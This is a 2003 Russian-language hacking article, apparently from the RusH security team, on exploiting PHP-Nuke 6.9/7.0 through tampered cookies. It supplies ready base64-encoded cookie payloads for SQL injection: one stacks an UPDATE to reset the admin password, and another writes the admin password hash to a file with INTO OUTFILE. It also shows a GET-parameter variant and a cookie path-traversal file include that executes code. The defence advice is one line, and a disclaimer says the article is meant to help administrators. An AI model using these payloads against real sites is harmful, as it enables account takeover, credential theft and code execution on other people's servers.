SQL-injection и не только, через cookies

o------// Автор: 1dt.w0lf


                                                _/_/_/_/  _/_/_/_/_/   
                                     _/  _/_/  _/                _/    
                                    _/_/      _/_/_/          _/       
                                   _/              _/      _/          
                                  _/        _/_/_/      _/             
                                     

 ---/ СОДЕРЖАНИЕ /---
______________________________________________________________________________________________________

 1 ......................................................................................... Введение
 2 ........................................................................................... Теория
 3 ...................................................... Изменение данных в cookie для SQL-injection
 4 .......................................................................................... Примеры
 5 .................................................................................... Хинт для нюка
 6 .......................................................................... SQL-injection и только?
 7 ........................................................................................... Защита
 8 ....................................................................................... Заключение
______________________________________________________________________________________________________


 ---/ Введение /---

В  данной  статье  я  хотел бы рассказать об одной интересной (по крайней мере для  меня)  уязвимости.
Описания  подобной  уязвимости  я  еще не встречал в сети, поэтому  думаю  для  вас  это  будет  новой
информацией,  а  уж если не новой то хотя бы интересной =) Наиболее характерна бага  для  всевозможных
движков  сайтов,  форумов и прочего, поддерживающих вход с использованием cookies. В сети  я  встречал
статьи  посвященные  методам атаки через cookies, но в них рассматривалась атака  на  пользователя  со
стороны сервера, а вот описания метода атаки на сервер со стороны клиента я не встречал.
Чтож наверно пора это исправить =)
В  начале статьи следует заметить, что для наиболее полного понимания сути проблемы вы должны обладать
некоторыми  (элементарными) знаниями в некоторых областях т.к. подробно останавливаться я  на  них  не
буду, а без их знания некоторые примеры могут показаться вам непонятными. Итак желательны: основы  sql
injection  , язык SQL , язык PHP , основы работы с cookies , основы Base64 encode\decode ну и  конечно
немного желания....

 ---/ Теория /---

Авторами всевозможных движков на пхп для построения сайта уделяется достаточно внимания к безопасности
при приеме данных от пользователя в GET, POST запросах (правда не всегда и не всеми =) однако что-то я
не  часто  встречал проверок при приеме данных из кук пользователя, а ведь куки хранятся на компьютере
юзера и наиболее доступны для изменения. Предлагаю рассмотреть все на конкретном примере. Берем движок
PHP-Nuke  версии 6.9 (последняя версия доступная для свободного скачивания) Данный движок написан  уже
давно,  багов  в нем нашли немеряно и казалось бы авторы должны были стать параноиками  и  навставлять
проверок  везде где это только возможно, ан нет... Рассмотрим код из файла auth.php ответственного  за
авторизацию пользователя:

 [ begin code ]
 ...
 if(isset($admin) && $admin != "") # если переменная $admin существует и не пуста
   {
   $admin = base64_decode($admin); # base64 декодирование строки
   $admin = explode(":", $admin);  # разбиение строки
   $aid = "$admin[0]";             # тут присвоение полученных данных переменной $aid (логин)
   $pwd = "$admin[1]";             # тут присвоение полученных данных переменной $pwd (пароль)
   $admlanguage = "$admin[2]";

 [ тут идет проверка на пустые логин и пароль, она не интересна ]

 $sql = "SELECT pwd FROM ".$prefix."_authors WHERE aid='$aid'"; # а вот тут уже запрос к БД включающий
                                                                # в себя переменную $aid полученную ранее

 if (!($result = $db->sql_query($sql)))         # если запрос не увенчался успехом
   {
        echo "Selection from database failed!"; # вывод сообщения (это нам пригодится позднее)
        exit;
   }
 else # если запрос вернул инфу
   {
    $row = $db->sql_fetchrow($result);        # получение ответа
    if($row[pwd] == $pwd && $row[pwd] != "")  # проверка данных
    {
     $admintest = 1;                          # баааа... да это админ =)))
    }

   }
 ...
 [ end code ]

Как  видно из приведенного листинга то после получения переменной $aid из кук она без всяких  проверок
отправляется в sql-запрос, а это означает что мы с чистой совестью можем изменить данную переменную  и
изменить  сам  запрос  к  БД. Теперь стоит разобраться с куками которые сбрасывает  данный  движок.  Я
рекомендую  поставить php-nuke себе и на своем компе производить все операции дабы разобраться  в  том
что  происходит.  Значит  после  установки движка регистрируем в нем пользователя  "admin"  с  паролем
"password" и лезем смотреть на куки которые у нас сбросились.

 [ start cookie ]
 lang
 english
 127.0.0.1/phpnuke/
 1536
 1008201472
 29680718
 3288127568
 29607292
 *
 admin
 YWRtaW46NWY0ZGNjM2I1YWE3NjVkNjFkODMyN2RlYjg4MmNmOTk6
 127.0.0.1/phpnuke/
 1536
 3469246208
 29613327
 3600307568
 29607292
 *
 [ end cookie ]

Наиболее интересна для нас строка YWRtaW46NWY0ZGNjM2I1YWE3NjVkNjFkODMyN2RlYjg4MmNmOTk6 это зашифрованные
base64  логин  и md5 хеш пароля юзера. Самое время их расшифровать и посмотреть как там все  устроено.
base64 расшифровывается очень легко поэтому особых трудностей тут возникнуть не должно:

зашифровано:
YWRtaW46NWY0ZGNjM2I1YWE3NjVkNjFkODMyN2RlYjg4MmNmOTk6

расшифровано:
admin:5f4dcc3b5aa765d61d8327deb882cf99:

 Где,
 admin - логин
 5f4dcc3b5aa765d61d8327deb882cf99 - md5 хеш пароля ( в данном случае "password")
 : - разделитель


 ---/ Изменение данных в cookie /---

Итак у нас в руках есть логин и md5 хэш. Давайте попробуем изменить логин и соответственно мы изменим
последующий sql-запрос к БД:

измененная строка:
admin':5f4dcc3b5aa765d61d8327deb882cf99:

шифруем в base64:
YWRtaW4nOjVmNGRjYzNiNWFhNzY1ZDYxZDgzMjdkZWI4ODJjZjk5Og==

Как  вы  видите  мы добавили "'" к логину. Если вы не знаете что это такое то читайте статьи  про  sql
injection.  Теперь  осталось  вставить  измененную строку в наш  кук  и  посмотреть,  что  произойдет.
Открываем в браузере наш движок и пытаемся войти в админ-панель.
Получаем: Selection from database failed!
Ура. Значит sql-запрос был благополучно изменен =)

Теперь посмотрим что происходит в БД. Открываем логи и видим:

 1 Init DB     nuke
 1 Init DB     nuke
 1 Query       SELECT main_module from nuke_main
 1 Query       SELECT * FROM nuke_referer
 1 Query       SELECT user_password FROM nuke_users WHERE username=''
 1 Query       DELETE FROM nuke_session WHERE time < 1071760481
 1 Query       SELECT time FROM nuke_session WHERE uname='127.0.0.1'
 1 Query       SELECT * FROM nuke_banner WHERE type='0' AND active='1'
 1 Query       SELECT bid, imageurl, clickurl, alttext FROM nuke_banner WHERE type='0' AND active='1' LIMIT 0,1
 1 Query       SELECT pwd FROM nuke_authors WHERE aid='admin'' <--- !!!!!!!!
               ...

Вот  оно! Как видно наш логин благополучно пробрался в запрос и соответственно данный запрос  не  смог
возвратить пароль пользователя из-за чего мы и получаем надпись...

 if (!($result = $db->sql_query($sql)))          # если запрос не увенчался успехом
  {
        echo "Selection from database failed!";  <--- вот эта надпись
        exit;
  }

Итак. SQL-injection налицо, осталось выяснить, что это нам дает.... Тут следует обратится к документации
по  языку sql, и всевозможной инфе по sql-injection. Я особо углублятся в это не буду. Рассмотрю  лишь
небольшой пример...


 ---/ Примеры /---

Шифруем строку:
admin'; update nuke_authors SET pwd='123' WHERE aid='admin:5f4dcc3b5aa765d61d8327deb882cf99:

Получаем:
YWRtaW4nOyB1cGRhdGUgbnVrZV9hdXRob3JzIFNFVCBwd2Q9JzEyMycgV0hFUkUgYWlkPSdhZG1pbjo1ZjRkY2MzYjVhYTc2NWQ2MWQ4MzI3ZGViODgyY2Y5OTo=

После вставки данной строки в cookie и захода на сайт в БД выполняется запрос:
SELECT pwd FROM nuke_authors WHERE aid='admin'; update nuke_authors SET pwd='123' WHERE aid='admin'

Т.е. если phpnuke стоит на MSSQL то хеш пароля юзера с aid="admin" сменится на "123" =)
Почему  MSSQL? Просто эта БД позволяет отдавать несколько запросов в одной строке разделяя  их  ";"  В
случае  с  mysql  данная  фишка  не прокатит т.к. там такая роскошь не допускается  =(  Конечно  можно
поиграть с UNION но это подходит только для mysql > 4.0 т.к. в более ранних данной команды нет. Да и в
случае  с phpnuke никаких результатов это нам не даст т.к. тут нету вывода какой-либо инфы из  базы  в
процессе  авторизации =( Возможно в каких-либо других движках при другом виде запросов к БД и  удастся
приспособить UNION для получения инфы... Но это тема другой статьи.

Ну и как дополнение к статье рассмотрим путь получения хеша пароля для юзера с id="admin" в php-nuke
версии 6.9 на mysql

Шифруем строку:
admin' INTO OUTFILE './pwd.txt:5f4dcc3b5aa765d61d8327deb882cf99:

Получаем:
YWRtaW4nIElOVE8gT1VURklMRSAnLi9wd2QudHh0OjVmNGRjYzNiNWFhNzY1ZDYxZDgzMjdkZWI4ODJjZjk5Og==

После вставки полученной строки в cookie и захода на сайт выполняется запрос:
SELECT pwd FROM nuke_authors WHERE aid='admin' INTO OUTFILE './pwd.txt'

Т.е. выбор хеша пароля из БД соответствующего aid="admin" и сохранение этого хеша в файле pwd.txt.


 ---/ Хинт для нюка /---

Если посмотреть на php-код приведенный в самом начале статьи то можно заметить что на PHP-Nuke совсем не
обязательно передавать данные именно через cookies. Можно передавать зашифрованную строку прямо  через
браузер следующим образом:
admin.php?admin=YWRtaW4nOjVmNGRjYzNiNWFhNzY1ZDYxZDgzMjdkZWI4ODJjZjk5Og==
Результат будет таким-же как и при передаче через кукисы.


 ---/ SQL-injection и только? /---

Естественно не следует думать, что модификация данных в cookies может привести только к SQL-injection.
Модификация данных в cookies лишь метод, а вот направление использования этого метода уже  зависит  от
кода уязвимого ПО. Мне кажется лучше всего будет это продемонстрировать на примере все того-же бедного
пхп-нюка  =)  версии 6.9. ( К слову сказать на момент когда статья была дописана  я  уже  достал  себе
версию  нюки 7.0 FINAL и все приведенные примеры в ней также работают) Итак мы уже в курсе про куки  в
которых хранится логин и пароль, но ведь движок сбрасывает еще одну куку... а именно кукис с названием
языка  который  следует  использовать.  И  название  данного  файла  хранится  в  переменной  $lang  и
используется вот таким образом:

 [ begin mainfile.php code ]
 ...
 include("language/lang-$lang.php");
 ...
 [ end mainfile.php code ]

Конечно  данную переменную можно сменить и просто отдав с строке браузера нужный запрос, например  вот
так:   127.0.0.1/phpnuke/index.php?lang=/../../../  но  использовать  для  этого  кукисы  будет  более
правильно, хотя наверно это не самый лучший пример, но какой есть. Простопредставим что данные из  GET
запросов  фильтруются на наличие в запросе... ну например точек. Значит изменение пути  через  браузер
отпадает.  Будем  играть  с куками. Значит нам надо изменить путь к языковому файлу.  Открываем  сайт,
получаем куки и смотрим:

 [ start cookie ]
 ...
 lang
 english
 ...
 [ end cookie ]

Вот тут нас интересует "english" при таком значении переменной языковой файл будет такой: language/lang-english.php
Мы изменяем в кукисах вот на такую строку: ../../english
Заходим на сайт и получаем ошибку:

Warning: main(language/lang-../../english.php): failed to open stream:
No such file or directory in mainfile.php on line 162

Итак мы можем изменить путь к файлу. Допустим у нас есть возможность залить файл на сервер или же у нас
есть  свой  сайт,  физически расположенный там-же где и атакуемый. Значит мы можем  проинклудить  свой
созданный заранее файлик. Я рассмотрю пример с инклудом из корня пхп-нюки:
Делаем в куке:
lang
/../../hacker

Теперь путь к файлу такой:
language/lang-/../../hacker.php

Создаем в корне нюки файл hacker.php например с 
Заходим с измененным cookie на сайт и в самом верху получаем надпись "cool =)"
Код выполнился, а значит потенциальная уязвимость существует.


 ---/ Защита /---

Способ защиты в принципе банален и не нов. Просто фильтровать ВСЕ!!! пришедшие от пользователя данные,
независимо от того каким способом они передаются.


 ---/ Заключение /---

В  данной  статье  рассмотрена лишь суть проблемы, а методы использования уже  предстоит  придумать  и
реализовать  вам самим. Также метод рассмотренный тут не является шаблоном по которому можно  ломануть
все  и  вся...  Все зависит от самого скрипта использующегося на сервере, от вида запросов  к  БД,  от
способов  получения  данных  из cookies и т.д. Да и еще... самое главное!  Статья  написана  в  помощь
администраторам  и  авторам  всевозможных пхп-скриптов, с целью указать на  их  возможные  ошибки.  Не
используйте информацию из этой статьи в целях противоречащих УК.

+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
                  o---[ RusH security team | http://rst.void.ru | 22.12.2003 ]---o         


Вернуться на главную страницу